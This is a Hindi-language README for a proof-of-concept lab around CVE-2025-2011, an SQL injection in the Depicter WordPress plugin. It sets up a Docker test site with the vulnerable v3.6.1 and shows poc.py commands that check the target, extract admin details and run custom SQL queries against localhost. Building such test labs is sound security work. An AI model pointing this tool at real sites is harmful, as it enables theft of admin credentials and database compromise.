CVE-2025-2011 - Depicter प्लगइन SQL इंजेक्शन भेद्यता

CVE संदर्भ: CVE-2025-2011

यह रिपॉजिटरी Depicter Slider & Popup Builder प्लगइन (संस्करण < 3.6.2) में SQL इंजेक्शन भेद्यता के परीक्षण के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट वातावरण प्रदान करती है।

आवश्यक शर्तें

• Docker
• Docker Compose
• Python 3.x
• आवश्यक Python पैकेज: requests, colorama

सेटअप निर्देश

1. पर्यावरण प्रारंभ करें

   root@kitploit:~

   docker-compose up -d
   

2. WordPress इंस्टॉलेशन पूरा करें

   • अपना ब्राउज़र खोलें और http://localhost:5555 पर जाएँ
   • WordPress इंस्टॉलेशन विज़ार्ड का पालन करें:
     • अपनी भाषा चुनें
     • अपनी साइट का शीर्षक सेट करें
     • एडमिन खाता बनाएँ
     • इंस्टॉलेशन पूरा करें

3. भेद्य प्लगइन स्थापित करें

   root@kitploit:~

   chmod +x install-plugin.sh
   ./install-plugin.sh
   

   यह स्क्रिप्ट निम्नलिखित कार्य करेगी:

   • कंटेनर में WP-CLI स्थापित करें
   • Depicter प्लगइन v3.6.1 डाउनलोड और स्थापित करें
   • प्लगइन सक्रिय करें

4. Python निर्भरताएँ स्थापित करें

   root@kitploit:~

   pip install requests colorama
   

भेद्यता का परीक्षण

PoC स्क्रिप्ट (poc.py) का उपयोग विभिन्न मोड में भेद्यता का परीक्षण करने के लिए किया जा सकता है:

1. जाँचें कि लक्ष्य भेद्य है या नहीं

   root@kitploit:~

   python poc.py -u http://localhost:5555
   

2. एडमिन विवरण निकालें

   root@kitploit:~

   python poc.py -u http://localhost:5555 -m admin
   

3. कस्टम SQL क्वेरी निष्पादित करें

   root@kitploit:~

   python poc.py -u http://localhost:5555 -m custom -q "SELECT VERSION()"
   

4. डीबग आउटपुट सक्षम करें

   root@kitploit:~

   python poc.py -u http://localhost:5555 -d
   

पर्यावरण विवरण

• WordPress: नवीनतम संस्करण
• Depicter प्लगइन: v3.6.1 (भेद्य संस्करण)
• MySQL: 5.7
• PHP: नवीनतम संस्करण (WordPress इमेज से)

सफाई

पर्यावरण को रोकने और हटाने के लिए:

docker-compose down -v

अस्वीकरण

यह पर्यावरण केवल शैक्षिक और परीक्षण उद्देश्यों के लिए प्रदान किया गया है। बिना स्पष्ट अनुमति के किसी भी सिस्टम पर इसका उपयोग न करें।